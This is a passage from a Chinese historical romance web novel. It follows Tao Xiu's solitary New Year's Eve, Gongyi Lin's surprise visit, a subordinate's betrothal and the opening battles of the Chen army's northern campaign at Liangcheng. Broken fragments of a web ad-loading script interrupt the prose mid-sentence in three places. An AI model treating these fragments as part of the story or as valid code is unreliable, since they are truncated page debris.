“我父亲和萧瑛也是一样的想法,可惜身为萧姓,这忧国的责任就像刻在他们骨髓里的东西,明明想放手却始终不能彻彻底底放下。我得益于这些年在玉河村体会到的艰辛和饥寒交迫,对任何事都没有太大兴趣,随遇而安。比如这漳南县尹之位,稀里糊涂被公仪林推至现在位置,有时会突然出神发懵,不懂自己为何会留下,可能只是暂时觉得这样活着挺好,能为一城的百姓做些我喜欢的事就够了。但要让我换另外一种活法我也能接受。”比如,哪一天,他会应某人之邀前去建康。 他听见从师父口中念了句“萧瑛”的名字,终于忍不住好奇问:“师父对萧瑛记忆尤深,到底是为什么?难道就因为他长得好看,好看的人那么多,我不信?” 辛南佐难得露出真正的和颜悦色,笑了两声:“小殿下确实貌似仙人。” 他慢慢收敛笑容,凶狠和严肃的表情不受控地爬山脸颊,开口道:“那年,全府为世子的死亡哀痛时,我跟随送葬的人群走到山里,要看看我偷梁换柱的计划多完美。下山时我被一块落石砸破头,恰好被独自神伤走在深山里的萧瑛看见,他为痛失的侄儿流泪时还替我包扎伤口,伤口包好,他跟我说‘大叔,此处偏僻危险,令择一条道吧’。” 令择一条道吧,那是萧瑛对他说过的唯一一句话,“我捂着额头打量他,那真是张天下无双的脸,心想,我要是有个这样的儿子就好了,可惜他满眼哀色,是我造成的。” 辛南佐转向陶修,从他身上能看见那年山中替他包扎的少年的影子,为实现当年的奢想,就把萧瑛深爱的侄儿收做徒弟当儿子来养。 “他让我令择一条道,我反复思索这句话,终于有一天带上刀从萧钰手下跑了。我择的路挺多,要饭的、种地的、门客、剑客、浪客,到现在的和尚,我从来没找准哪条路才适合我。萧瑛小殿下还好吧?” “他在基州,时刻防备着周国的触须,心力交瘁,一直都在坚守。” * * * 离年关越来越近,积雪融化,泥泞的土地被从北方横扫来的冬风飕的坚硬,一匹送信件的骡子给县署带来几封信。 平平无奇表示问候的信里,落款人都是重量级的人物。一封来自南徐州的卢思苌,是对元旦将至时较为官方的问候。 另一封是醴县的公仪檀,信中表示醴县和漳南两地相去不远可以互相走动,落款盖的是他的私人印章,公仪青木,看来大战在即,此人有冰释前嫌的意愿。 挤在屋里蹭火盆的张城见他拿信来回走动,瞄了眼另外几封没有拆开的信问:“你走的我眼花缭乱,谁的信?公仪公子的信不是在这里吗?” “他的信等会看。这封是他兄长公仪檀的信,我正思索如何回他。” 张城见他慎之又慎,闭起嘴巴“哼哼”两声。 陶修一时也想不出如何握住公仪檀主动伸过来的言和的手,就坐到张城对面拆开公仪林的信,此信写的老老实实,“暌违日久,甚为思念,”这阅信人嘴角不断上扬,但阅至末尾时,一句“连月来公务繁琐,恐不能如愿跟你一起守等元旦,望君见谅。” 翘起的嘴角瞬间挂了下去。 轮到陶修哼一声,折起信放进怀里,拨拉拨拉盆里的碳木,自言自语道:“言而无信。” “对了,城主,我准备去趟吴郡,允我半个月的假,事情不顺利可能再久一点,正月初五之前我一定赶回来。” “你去吴郡?”陶修稍稍反应一瞬立即明白,笑道:“好啊,愿君能顺顺当当做我吴郡女婿。” 张城腼腆地笑了一下。 “正是用人之际,你要记得早点回来。” *** 离元旦还有五天,无家无口无随从的陶修在县署里过得冷冷清清,没感觉到一丝岁末岁首的热闹,偶尔独自到集市上逛一逛。张城倒是大方的把胡峤留下陪他,但胡峤是被人割刀子都不出声的主,陶修绝不指望和他能有语言上的交流,逛街时就默许他寸步不离的跟在后面。 又过去两天,情绪上的清冷和天气严寒双重压迫,陶修觉得实在该买些过年的年物,哪怕是自己一个人也得买几条鱼回来。 他做这县尹既清廉又朴素,吃穿用度受幼时影响从不敢铺张浪费,当他用木桶拎回两条活鱼时,周石已在门前等候多时。他拎过陶修的木桶问:“这做什么用?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “年货。” 周石双眼湿润,为官者能像他这样一尘不染的有几个,过个年居然就提两条鱼回来,想到他过几天将一人一碗一条鱼坐桌边吃饭的模样,周石就更心酸了,“把鱼放屋里养着,我来就是叫你后日来我家吃饭,你嫂子说你孤零零一人,我看着确实孤独,怎么一个年轻人把自己过的跟个老光棍一样可怜,去年还有张城跟你混,今年更凄惨了。” 陶修咧嘴笑道:“多谢周大哥,但我这住处也不像有光棍啊。” 这一年的最后一天,陶修在周石家吃了顿有“家”的味道的饭,程氏在饭桌上再一次稍带同情的为城主亲事担忧,自认有责任开春后替他找个好女子,城主不是嫌贫爱富讲究出身的人,好女子一定能找到。 陶修贪恋周家的热闹,一直待到暮色降临才回县署。 偌大一个县署在深沉的暮色中显得冰冷坚硬,大门边挂两盏通红的灯笼,微微发出温热。陶修仅留下四名看门的侍卫,其余的都放回去守岁了。 从暖和的周家再望望自己黑黢黢的屋内,还真容易让人心情过分起伏。陶修跨进门槛,本想先到案几上摸灯点火,但摸了半天也没找到油灯放在何处,索性就盘腿在案桌前静坐。 他的身体在黑暗里一动不动,像座石雕,无声无息。 外面响起第一声炮竹的声响,震彻夜空,孩童的喧闹远远传来,第二声刚响起,陶修忽听见床边有异响,像拔刀声。 练武的习性,陶修迅速就地滚了一圈退至墙边,警戒地盯着暗处,他记得林修剑就放在墙角的架子上。小心翼翼从蹲姿站起来,就在一道寒光劈斩过来的瞬间,他顺利摸剑在手。听气息对方只有一人,不知是何方神圣这大过年的最后一天还出来送命。 他拔了剑立即跃过案几向黑影刺去,黑暗里谁都占不了便宜,先下手为强,心口正堵着气呢,也无往日的心慈手软,一个字:杀。 两把剑在并不宽敞的屋内斗的寒光四射,铁器撞击出的星火就像窗外的烟火坠落于地。陶修很快就试出此人平庸的剑招,打算虐他一番再抓活的。 林修剑的速度又快又刚猛,对方连退几步,突然被床踏绊了一下往后仰去,失声叫了一句:“康乐哥!” 陶修举剑突然愣住,就这闪神的空隙,公仪林已丢了剑扑上来扭住他的左臂,狠狠往后一掰,继而又出脚踢向他的膝弯,明明有十成胜算的人就这样被公仪林制伏跪于地上。 “哪来的疯子,快松开?”陶修挣扎欲站起来,却被他从背上死死压住。 公仪林贴在他耳边喘着气问:“刚才你又当和尚了?独自坐那想什么?” 陶修被后扭的双臂吃痛严重,只得放弃挣扎就势往地上一趟,轻松舒朗的笑了两声,“外面热闹,在想今日怎么没买几根炮竹跟他们热闹热闹。” 公仪林还死死钳住他的双手,毫不客气用膝盖抵住他的肋骨,沉声问:“给你机会,重新回答。” “回味周大哥家的饭菜,挺好吃的,啊——”肋骨疼的他低叫一声。 “再说!” 152.两人击掌为誓 陶修继续倔犟,不肯说实话,又扯出一个贴合的理由:“我要找灯,但没摸到,就坐在那里回想把灯放哪里了。” 公仪林松开手,半个身子都压在陶修身上,把他的脸扳过来面向自己,一字一句咬得清楚:“就不肯说你想我,非得要我这样?” 迫不及待的双手和落在脸上、唇上炽热的吻令陶修不停往外挣脱,都被他一把压住。 “够了够了,我说实话,”陶修终于挣出一个喘息的机会,抓住公仪林的双肩往上推,实在被压的气息不顺:“想听真话?我刚才在恨你,真的恨。” 看不到他的眼神,但从严肃平静的声线里,公仪林听出了危机,双臂撑在地上不敢动。 “如果没认识你,我就还是汝丘最平凡不过的人,成家、生子,昏昏沉沉过日子,但不孤寂,是你把我拖入这不得回头的境地,承受满室清寒,连个说话的人都没有。” 是,刚才坐在案几前沉思时,他像入定老僧,摸咂出孤寂的苦涩,从前也是这样过日子,却从未有今日的怨恨,恨无家可归,也恨有家不能归,他这些年算什么,在院墙外孩童的喧闹里,在炸入夜空喜庆的炮竹里,怎么就成了角落里最孤独的人,那些热闹都与他无关! “我是不是陷入这份感情里不能自拔?槐序,你把我原先要走的路都改了,你错没错?” 公仪林轻轻压在他身上,倾听胸口浑厚有力的心跳,摸上他的手,十指紧扣,久久才发出歉意的叹息,“对不起,真的对不起,我觉得自己无耻,想给你的东西却没有你失去的多,可我就想跟你相守,你带我走吧,带我回江陵,我跟你走。” 刚才,没点灯的屋里一片漆黑,公仪林看着陶修从外进来摸索一阵,正要发笑,忽见他猫一样突然坐下了,坐在窗外映进来的最后的余光里,身姿板正,一动不动,浑身都散发因除夕夜放大的孤独,他像株正青葱却挨了霜打的竹子,蔫黄蔫黄。 是不是无人的时刻,陶修一直过得这样可怜。 公仪林心疼他,遂拔了剑刺出去,欲斩杀他周围萧条的气氛。 “我逼着你从江陵回来却没能与你守在一起,还让你在今日差点连个亲人都没有。”他在陶修的唇上摩挲一阵,“这叫什么事,我俩谁都难过,却找不到解决这难题的办法。” 陶修笑着推开他:“快起来,司子躲在哪里,这么久闷坏了吧,叫他们出来。” 公仪林起身走到门外拍拍掌,带来的随从从几个角落里走出来,麻利地点灯笼,又劈柴又引火,他们还带来了陶修忘记买的烟火炮竹,有了人气人声,冷冰冰的县署迅速热闹起来。 “你来了多久?” “可能你前脚去周家,我后脚就到了,左等右等都等不来你,就四处看了一下,守门的侍卫说你买了两条鱼过年,啧啧,你让我说你什么好,从没见过如此寒碜的县尹,”公仪林忍不住笑道:“我现在就要吃鱼。” 刚得到陶修允许,司子麻利拎着鱼去井边宰杀。 两人各兜几根炮竹去大院点着玩。公仪林对他提议道:“在身边放个侍从吧,就像今日的情况再出现,好歹有人陪你说说话。” “我不像你从小被司子服侍惯了,放个人在身边总是不自在,一言一行都被看在眼中。不是说抽不出空来此吗,为何又突然袭击?” 陶修把一根炮竹点燃后甚至没有退后,胆大地看着它一飞冲天,在漆黑的夜空炸出一朵小小的火星。 “四日前我去公仪府用饭,在外的堂兄弟们都回来了,一院子的人,公仪鸾凑过来问我,‘热不热闹,像那不肯成家的、孑然一身的、举目无亲的,能体会此刻的热闹?’他意在指我不肯成家一事,但我听到他说举目无亲时立刻就想到你。明明是我把你哄骗至大陈,却丢你在漳南小城独自守岁,举目无亲,我真是可恶至极!” 他向陶修挑个眉,想听他说几句难听的,可此人绝不是会说难听话的人,温和一笑:“你能来就够了,多谢公子。” 公仪林从侧面搭上他肩头,手指不停抚摸他的下巴和左脸,把他半拥入怀,仰望烟火寂灭的位置,叹息道:“可是后日我就要走。” “我听到消息,你现领丹阳太守一职,掌控丹阳数万兵马,身担责任又多一层,绝不可掉以轻心。” “虽是劝我小心、上进的话,可我听着想欺负你。是我当年在吴郡无所事事的样子深入你心,几年下来还改不了你心里的印象?”他紧捏陶修下巴揉搓一顿。 “有这个可能,在我眼里你跟从前一样。”陶修重新在他脸上一寸一寸的鉴别、审视、摸索,这双眼黑而深邃,面部轮廓在两年前就褪去少年人的阴柔,变得坚韧、硬朗,侧面看去有久历坎坷故事的锐利,令人敬而远之,确实不能将他的印象还停留在少年时期。 “看够了?是不是才发现我像男人?”公仪林平视远方,露出鼻梁、唇部、下巴、喉结这条清晰明了的曲线,任他看个清楚。 陶修嗤笑一声,“不哭的时候更具男子气概。” “别哪壶不开提哪壶,我也就在你面前如此。” 清洌洌的夜空有几颗稀疏的星辰,他们每说一句话就从口中冒出白色寒气,从公仪林的袖笼中飘出熟悉的熏香味,温馨柔和,陶修拿脸轻蹭肩头的手臂,闭目喟叹:“不知似今日的太平还能持续多久?” 公仪林不愿提即将开战一事破坏今晚的氛围,立即止住话题,“你身在这险要的位置,要保重。司子喊我们吃饭了,看看吃什么。” 主仆多人直到夜深才吃上这一年最后一顿饭,烛火昏黄,炭盆烤得屋里暖融融,大小仆从在陶修和公仪林面前不分卑贱说笑一阵才各自忙去。 离元旦还有最后一个时辰,公仪林麻溜洗漱完就跑到床上等着,见陶修不紧不慢写今日必练的字,急得不停催促:“都什么时辰了还写那几个字,这习惯不能留到兵营,快过来——”很有节奏地轻拍床铺,虽没催没赶,但一声一声轻击闹得陶修心烦意乱。 “急什么,还差几个字。” “还敢问我急什么,我要治治你的和尚病。” 搁下笔,两人静躺在床上什么都没做,默不作声望着帐顶。 “我去吹灯了?”不禁好奇数月不见这人还有如此定力。 “别动。”公仪林扣住他的右手。 “这样干瞪眼作甚?你要没想法我可就睡了?” “嘘,别出声!” 陶修不懂他搞什么鬼,体内那股躁动正支棱着他“反客为主”,公仪林突然用肘碰了他一下:“来了,你听——” 高墙之外,沉静的寒夜里,更夫敲响铜锣,挨家挨户一路高喊:“天顺时新,新春嘉平,岁岁平安,万事称心。” 更夫悠长高昂带着祝福的声音逐渐远去,“康乐,又一年了,按我的算法,你跟我在这床上睡了两年,长不长,久不久?”说完就是得逞放肆的大笑。 陶修才明白他急着上床就为了这小乐趣,翻眼给了他后背一拳:“交了这新年你都二十了,还憨态无智。” “现在该做我们要做的事了。”公仪林迅速爬起来,饿虎扑食,“最后几刻真慢,我都等不及。” “我困了。” “困了也由不得你。” …… 天顺四年的新初,一切看似平淡美好,他们完全无法预示日后 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的灾祸和见上一面的困难。临别时,公仪林征询陶修:“这场仗后我们回一趟汝丘,看看玉河村的清江河。” 陶修与他击掌为约,爽快答应:“一定。” 当年吴大将军北伐那场仗打了近两年,谁又能猜到此次的战况会持续多久,不过是各自心中留个信念留个期盼,完好如初共赴今日的约定。 * * * 年初五,张城按时归来,如愿做上江家女婿的他红光满面,春风得意,得到江旋之父江全的承认后,张城放下高悬的心,承诺秋季就去提亲。 几个人围住他,要他讲讲用什么办法打动了老岳丈的心。 张城脸上挂着刚为人夫的羞涩,对众人讲了“入门”的经过。 过程并不复杂,江全一见大门外站在马匹旁的高大英俊的男子,就已把心里要刁难他的万道难题化做一道。他站在高高的槛内,露出装出来的不屑,冷冰冰问:“你就是江旋说起的人?” 从小四处流浪的张城,没有人告知他上门见岳丈需要注意什么,耿直地直表心意:“是,我就是张城。慕恋江三姑娘的人,今日特意送上门给您检视,如有不满意的地方,晚辈一定改。” 躲在院内的江旋和姐妹们捂嘴大笑。 江全高昂头颅绕着张城转了左一圈右一圈,在所有对江家婿位有意向的年轻人中,这个小伙子长得最好,也最高大,生生高出略胖的江全一个半头。 “我这女儿不能嫁给你。” 张城惶恐吃惊,忙问:“伯父,是对我哪里不满?”他来之前思量许久,是漳南城这个张巡检的身份给他底气才敢登门的,可能在江老爷心中这些都入不了眼。 江全见吓到了年轻人,咳嗽一声委婉道:“我们江家是做生意的,有一门生意是烧窑,看你能不能从瓦片上跨过门槛,若是跨过去了,我就再考虑考虑。” 张城心道:难不成要我从炽热烧烫的瓦片上掠过去,掠吧,就是刀山火海也得闯。 准备难关的过程中,张城没有机会跟江旋说上话,江旋打手势告诉他:别慌,老头子没有坏心眼。 江全所谓的刁难,不过是把报废的破瓦盆瓦罐砸成碎片,铺了一条长长的通向门内的小路,让应试者走过去。 瓦罐的碎片不是琉璃,连锐角都粗糙钝涩,并不割脚。 就这么简单?张城狐疑地看着周遭。 几个看热闹的下人暗暗鼓励道:“姑爷,走过去就行。” 既然是简单的考验,张城就复杂一把给众人开开眼。 “哈哈哈,所以你就脱了鞋袜从道上走过去了?”周石等着听下文。 “为了江姑娘,这点刁难算什么。”张城从听众里站起身撸高袖子,绘声绘色描述当日的英姿,“一条三丈长的碎瓦道,我仅用四步,”他腾空一翻,脚尖刚触地又来个龙腾虎跃。 周石见他身姿矫健,拍掌叫道:“好——” 张城就是用这轻盈的动作和神采奕奕的脸,迅速征服未来的岳丈和岳母,把他们看得眼花缭乱,江夫人更是立即就承认他的女婿身份,多好啊,家里许久不见这般浑身充满力量的年轻人了。 “可惜,有一点,他们对我不满?”张城又卖关子。 陶修赶紧问:“哪里不满?” 张城道:“我不能立即留在桃花亭,他们对此不满。” 周石显然对江家的想法更不满,替兄弟抱怨一句:“堂堂八尺男儿,还真想留你在村里给他烧窑,这怎么可能?” 陶修倒是另一番安抚:“亲事都已定下就不急于一时,等你混出一番事业再去江家。” 给张城混事业的机会很快来临。 153.大陈对外发兵 二月初,从大陈京师迅速下达一份震惊周国的诏令——发兵北伐。 为此次北伐,陈国秣马厉兵蓄力多年。 右仆射陈颛、南徐州刺史卢思苌连番上表陈主,分析眼下周国正对北方异国开战的局势,终于动摇陈明俨一直以来不肯先对外发兵的决心,后又在一帮久历大事的老臣和精力充沛的建安王陈明健的请求下,陈主下定决心出师北伐,他雷厉风行,很快就把诏令传至三州刺史手中。 陈国大军兵分三路,由卢思苌都督此次北伐诸军事,第一路大军由江州杨原祁率军向东进攻枞阳的周国水军,截断其从江上东下的威胁。 历阳的扬武将军鲁云渊率三万大军从小岘出发,到达合肥后与合肥整装待发的两万兵马兵合一处,再向寿阳进攻。 第三路大军则是卢思苌统率,水师、步骑兵共五万,从京口的水路进发,走他的恩师吴大将军当年的行军路线,数百条战船浩浩荡荡从大江驶入瓜洲,至六合稍作停留后,大军直奔秦郡。 这个秦郡本是南兖州的一部分,三十年前丢失于齐国后,当地百姓不服北人统治,民意向着南方,当卢思苌的大军刚到达秦郡还没落脚,其浩大的军容吓坏秦郡太守,太守自思周军对陈国这次的发兵还没作出反应和应对之策,更遑论援军,当即开了城门投降。 卢思苌的大军不费吹灰之力向北推进一步,便在秦郡屯兵驻守,欲迅速向天长进兵。 死对头陶修和贺功臣几乎同时收到陈军发兵北上的消息,势不两立的二人立即作出不同的应对策略。漳南集中武备,高垒深沟,调动精心栽培的四千精兵随时应战。 贺功臣在惊愕中紧急集结寿阳两大营的兵马,分析寿阳当下的危情,西南方有历阳郡的鲁云渊,据探子回报,鲁云渊的大军已在合肥屯兵,正虎视眈眈,东北方向值得一防的是临江郡太守公仪檀,听说此人长了副容易让人误会的外表,见过他的人都说他文质彬彬,翻上马背就像换了个人。 除开这些,最令贺功臣头疼不已的便是河对岸的陶修。那小子不知出于什么目的,好好的世子不当,跑来小城做个城主,寒冬枯水季也驾船东奔西走,在他眼皮底下来回晃悠,大概那座小城有几只老鼠都被他摸得一清二楚。 贺功臣领略过陶修个人的身手,不知用兵打仗的本领如何。 两年前贺功臣就在京师朝堂见识那帮文武官员讨论平江南时的唇枪舌剑,两年后的今日,不但没有一个像模像样的计划,居然还给陈国先发兵的时机,一上来就是三只实力非同一般的虎狼之群围着自己。 寿阳这特殊的地理位置,过去几十年间来回易主,最终落在今日的周国手中,多年来数次遭受兵燹折磨的地方在军事布防上有更丰富的御敌经验。 大敌当前,又守着块肥肉似的地盘,贺功臣召集部将商议御敌之策,在两大营来回巡逻,视察连续几年都不曾上过战场的将士们的状态。 不到三日,贺功臣与众将、参事就已做好城池的布防,他刻意把防备和攻击漳南这件大事交到孙显——那个被公仪林捅了一剑居然还活下来的孙显手中。 那一剑不但没能杀死孙显,还把他更为恶毒仇恨的一面彻底掘开,他早就想率军蹚过漳水杀向东边的敌人,今日,报仇的机会终于来了。 * 二月下旬,鲁云渊的军队到达梁城——寿阳下辖的一个城市,梁城城主杜毅谨遵贺功臣的命令,紧闭城门坚守不出。 鲁云渊在城外驻扎大军,正和部下商议攻城计划,有士卒通报临川郡太守公仪檀带几十骑人马到了兵营外,他走出大帐,急与公仪檀相见。 两人虽是第一次见面,因一致的目标很快就做出决定。 公仪檀对鲁云渊道:“临川郡与梁城隔河相望,兵力相当,我对此地地形又熟悉无比,将军可继续北上,下官一定将此城纳入临川郡的地域内。再者,寿阳为应战将军的雄武之师,必不敢抽军援助梁城。” 为防备寿阳,鲁云渊也知与寿阳对峙的几座城池武备充足、守城官员也都足智多谋。 去年和卢思苌一起上表陈主时,早已把行进途中各城池的实力掌握的一清二楚,这个公仪檀自入仕以来就在临川郡的醴县做官,手中的兵马不能小觑,多年来早就在周边流传他廉政爱民、善打仗的好名声,若由他攻打梁城,此地百姓必一呼百应,即便临川和梁城相持不下,也绝对是拖住或监视杜毅行动的好人选。 鲁云渊嘱托道:“梁城在我大军之后,断其威胁就靠公仪太守了。” “将军请放心。” 鲁云渊的军队拔寨离开时,站在城楼上的杜毅长长舒出一口气,但听探子说留下的对手是临川公仪檀时,扶剑的手渐渐用力,几乎把剑柄捏变形。 他的视野内,远方是稀稀落落的村舍、野林和庄稼,十几个骑马的小身影在初春草木萧疏的背景里来回跳跃,杜毅能感受到他们的目光正盯着此处,和自己仇视他们一样,杜毅握紧拳头,闷哼一声:早就听闻你大名,恭候你来! 梁城是建在平川上的一座普普通通的城,除了城南一条人工挖开的并不宽的护城河,没有任何天险可以依靠,城中约有四五千兵马,若按兵不动坚守不出,充足的粮草足够坚守两个月之久。杜毅只要沉住气跟城外公仪檀的军队玩消耗,输赢绝对掌握在他手中。 公仪檀把军队驻扎在离城十里外的河边。 前几日,公仪檀挑了营中几个极为粗鲁的汉子去城下挑衅、辱骂。 这骂人也很讲究,要分时间段去城下漫骂。清晨大梦未醒时忽被外面老鸹似的声音惊醒,句句夹带祖宗七八代,任谁都会气血上涌,再就是暮色降临时去骂一遭,本以为又熬过一天终于安静会的人听见咒骂,窝在心口的气能憋到第二日清早。 骂到第三日,一直隐忍不发的梁城士兵开始回击,双方互喷口水,积极问候对方的族人、姊妹兄弟。第五日,梁城的城门还是关得密不透风。陈军开始往楼上抛射侮辱性东西,诸如晒干的牛屎、狗屎,还有死猫死狗。 气温回升,春光和煦,离河不远处有几株盛放的广玉兰,在暖风中轻轻发颤。这是个适合踏春赏景的日子,不适合流血死亡。但梁城的大门突然打开,从城中奔袭出一列人马,他们气势汹汹、手起刀落,先斩了连日来在此辱骂的陈军,迅速往敌人扎寨的方向奔去。 公仪檀一直都保持警醒,尤其在敌人没有动 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 静时更加倍留心。 冲来的那队人马约有一百人,马蹄扬起漫天尘埃,公仪檀走下瞭望塔,从容不迫调兵遣将,抽出五十铁骑和五百步兵欲迎上去。 这时,他部下陆青快速走至跟前道:“太守,这帮人想必是被骂急了自愿出来拼命,身后不留余地,第一仗能振军势气,必须十分小心,让我先去杀杀他们的戾气。” 陆青横刀立马,对五百士卒咆哮一声:“鼠人终于肯露头,跟我去杀。” 从城内冲出来的百十周军确实是自愿的,他们忍受不了羞辱,在杜毅跟前拍胸脯保证会冲入敌军大营杀他个措手不及,这帮被逼急的汉子甚至还分析敌情,说敌人几日来无仗可打精神懈怠,若此时杀进大营一定能杀出出乎意料的结果,何况,他们甘愿去拼,并不惜命,不惜命的人才最可怕。 他们赤裸双臂,杀气腾腾,在河滩上被陆青的人马截住。 仇人见面分外眼红,即便不知这仇究竟源自何处,只知道杀了对方,胜者才能活得舒坦。 这场小规模的打斗甚至称不上两军交战,河对岸看热闹的百姓称之为“持械斗殴”,但其血腥和残忍不亚于任何一场战事,周军在马上横冲直撞见人就砍,陈军也没有胆怯的怂包,把这些豁出性命的人团团围在中心。 冰冷的刀锋斩上温软的血肉,滚烫的鲜血喷溅在路旁柔弱的野花丛中,这场在融融春日发生的“持械斗殴”很快就分出胜负。周军共六十三人,逃了六个,被生擒二十,其余都为刚才冲动出城的行为付出代价。 陈军也不少死伤,但初次得胜的兴奋将还没蔓延开的悲伤冲淡,他们牵着几十匹健硕的马满载而归。 第二日陈军继续去城下挑衅辱骂,他们枪头挑了几颗昨日斩下的人头在城楼下耀武扬威,高喊:“还不来战吗,来夺你兄弟的人头啊!” 杜毅阴鸷的双目牢牢锁定远处军中气定神闲的公仪太守,手指几乎抠入石墙,脸色冷峻,低吼一声:“战——” “何时战?” “明日。不是他死,就是我亡。” 是夜,阴雨绵绵,冷风戚戚。这场不大不小的雨对城内居有屋睡有床的人而言,不过是春日的一场润色。但驻扎在露天的大军就不易过了,帐外的地面泥泞不堪,躺在简易的床板或直接睡地上的人这几夜睡的浑身酸痛,对军队迟迟不肯攻城都抱有好奇和议论。 公仪檀望着帐外深沉的黑夜思考下一步的行动,若真跟杜毅耗起来,自己肯定是耗不起的,虽然离此最近的临川郡地界就在身后不到五六十里的地方。明日周军再不出城迎战,那就只能硬攻。 睡在松软被褥上的杜毅被一声春雷惊醒猛然坐起,没有一瞬思考,他跳下床,穿起铠甲,提上长剑,阔步走出大院,仅半盏茶时间就集齐三千人马,他站在雨中动员将士:“想为今日开路的兄弟报仇吗?” “想——” “临川人闹的城中人心惶惶,想把他们赶走吗?” “想——” “都跟着我,现在杀去陈军营寨。” 没有火把照明,但怒火炽热。 梁城大门终于大开,三千人动地而出,跨过护城河,在雨中急速行军。 154.是一面陶字旗 营中突然响起一阵沉闷的鼓声,随之嘈杂纷乱的叫喊传入耳里,正准备睡下的公仪檀猛站起来走出帐外,陆青迎面跑过来,急切地回禀:“太守,杜毅带兵马偷袭,离此不到四里?” 公仪檀大惊失色,又立即冷静下来,拔了火把冲进雨中,登上瞭望塔的半腰站在高处对慌乱的人群喊道:“把所有火光都灭掉,敌我势均力敌,大雨里对谁都不利,稳住阵心,不要慌乱。” 太守的声音比夜空的雷声还要稳重,他手里的火把在细雨中发出微弱的光,足够让众人看清他临危不惧的脸,本来慌乱的人一个看一个渐渐冷静。 公仪檀急命人拆了营垒的营栅摆成长长一排,位置交错摆放,又令人竖起长矛站成两堵人墙等候敌军。 公仪檀持剑站在最前端,一动不动。 淅淅沥沥的雨还在下着,四周一片漆黑。 轰隆的脚步声裹着怒火渐渐逼近,越来越近,陈军已能看见敌人幽灵似的魅影,马蹄踩踏水坑的声音清脆地传到耳膜,他们睁大眼睛也看不清敌情,即便有主将在前压阵,还是感觉到恐惧顺着水汪慢慢爬上全身。 “杀——”这声嘶吼,在冰冷黑暗的夜里像把督战的锋刃,将士们精神振奋,握戟的手被雨和汗浸湿,营栅削减周军前锋部队的猛烈攻击,持矛的人墙挡住汹涌的人流。两军终于在黑咕隆咚的夜里短兵相接,厮杀声震耳欲聋,战场混乱血腥,在没有一丝火光的暗夜中为了活命,出手的刀已分不清敌我。 刀光剑影,杀声一片。 公仪檀自压在阵前杀散首波敌人后就无法分清与之刀剑交加的是自己人还是敌人。这场凶残的打斗拼的是胆量,拼的是心硬,临阵脱逃或是心慈手软的一方必败,全不把人命当回事。 若此刻下令撤退,攻下梁城会更难,继续打,却连对手是谁都看不清。 同样想法的还有立在阵后的杜毅,他把抽出的剑抓在手中,汗水沁上额头,今夜他带来的几乎是梁城全部兵马,公仪檀为什么还不撤,为什么还不下令逃走? 容将士们再杀上片刻,他不信公仪檀敢把人马都陷在此处。 一声声惨叫中,公仪檀清晰听见两方将士狐疑地问话:“你是哪方人?”他们像瞎子在黑暗中摸索、乱杀。 直到一个将士抓住公仪檀捅进胸腔的冰冷的剑刃,断断续续哀求道:“太守,是我啊!” 公仪檀不认识他,但这个死在他剑下的人一定认识公仪檀。 “撤军,撤,”公仪檀青筋暴起,声嘶力竭,撤军的命令在暗夜中尤为响亮,“撤回高台,快撤!!” 命令一下,众人丢盔弃甲、军队溃乱,跳河游到对岸的人越来越多,四散逃命。公仪檀在混乱中跳上马匆忙逃离此地。听着被甩在身后的呐喊声,他忧心如焚,敌军若是乘胜追击,他的人马恐怕再难聚齐,得胜后的杜毅若是给鲁云渊的大军造成后侧的威胁,那自己恐怕死不足惜。 好在杜毅并不敢追,离天明还有两个时辰,他不敢拿仅有的兵力胡来,在双方都分辨不了敌我的情况下陈军溃逃,完全是公仪檀心慈的后果,这个结果杜毅很满足。 天亮后,公仪檀清点在高台重新集结起来的兵力,损失近一千人。这是他多年来真正意义上的统兵打仗,竟被杜毅偷袭成功。有那么短暂的一瞬,公仪檀看着躺在地上歇息的伤员,开始怀疑自己的能力,这些年在临川流传的美好名声,是不是都是戴在头上的虚假花环。 陆青也受了伤,他喝了碗高台村村民送的一碗热粥,浑身暖和,体力恢复和被打败的耻辱令此刻的他雄心旺盛,强烈想要回去报仇。 “太守,现在是撤回临川,还是等我们的人马来?” 公仪檀问:“马尧生多久能到?” “最快也要到明日午后?” “将士们惊魂未定,杜毅趁我们援兵没到杀到高台,只怕难以抵挡,你传令下去,速让将士们提高警惕,时刻准备与敌人开战,把村里能拿兵器的人都集中到一起,教他们一些简单的防御手段。” 高台是个小村,不足百户人家,以公仪檀十五岁以上才能拿兵器加入军队的要求,村里就凑出十三四个年轻人,热情高涨混在队伍里等着共御外敌。 另一面的杜毅收缴陈军丢下的军械器物后返回城中。本打算关闭城门继续坚守不出,等他脱下盔甲洗净身上血迹,突然灵光一动,又迅速把铠甲穿回去,召集回到城内连饭碗还没放下的将士,出城直奔高台而去,此人做事最爱临时下决定,主打一个出其不意。 他不按常理出牌可苦了公仪檀。派出去的斥候赶回来时说杜毅已退回城内,结果不到一顿饭功夫又有人回报:“杜毅率大军正往高台而来。” 一向行事风雅的公仪檀低声骂了句杜毅的老娘,跨上马背对将士们激励道:“高台村的乡亲倾尽所有给我们吃了顿包饭,拿起家伙,替他们守住高台,莫让周军伤害这里的任何一个人。” 他仅穿了件能护住胸膛的软甲,露出结实硬朗的小臂,横戈跃马等着杜毅的大军。 两军在高台村东面的河滩口对峙,中间是条细窄的小河,春日水涨,小河水汩汩南流。因河滩口地方狭长,两军的排兵以小河为界南北向排了很长的队列。 小河上有两座木桥,双方打起来必须跨过木桥,那身姿矫捷的或许能直接跨跃小河至对岸。两军在小河两岸久久对峙,人群发出低沉的嗡响,能听见两排杨树叶下的鸟鸣。 日头渐渐向西偏去,在枝杈间刺下金光,人群早就躁动不安,战又不战,退又不退,公仪檀因昨夜输了一场不敢轻易下令,在马上坐久了硌的慌,他站在人群前朝对岸喊了一声:“杜毅何在?” 无人应答。 “还想耗至天黑摸瞎打吗?” 杜毅一直坐在胡床上闭目养神,踏实地眯过一阵后望望树后的落日,缓缓起身,走至马匹旁翻身上去,突然发令:“击鼓,冲锋。” 敌军鼓声大作,震耳欲聋,呐喊声气势磅礴。 又来这出,公仪檀被鼓声震的一愣,立即转身上马,大骂一句:“杜毅这个老东西。” 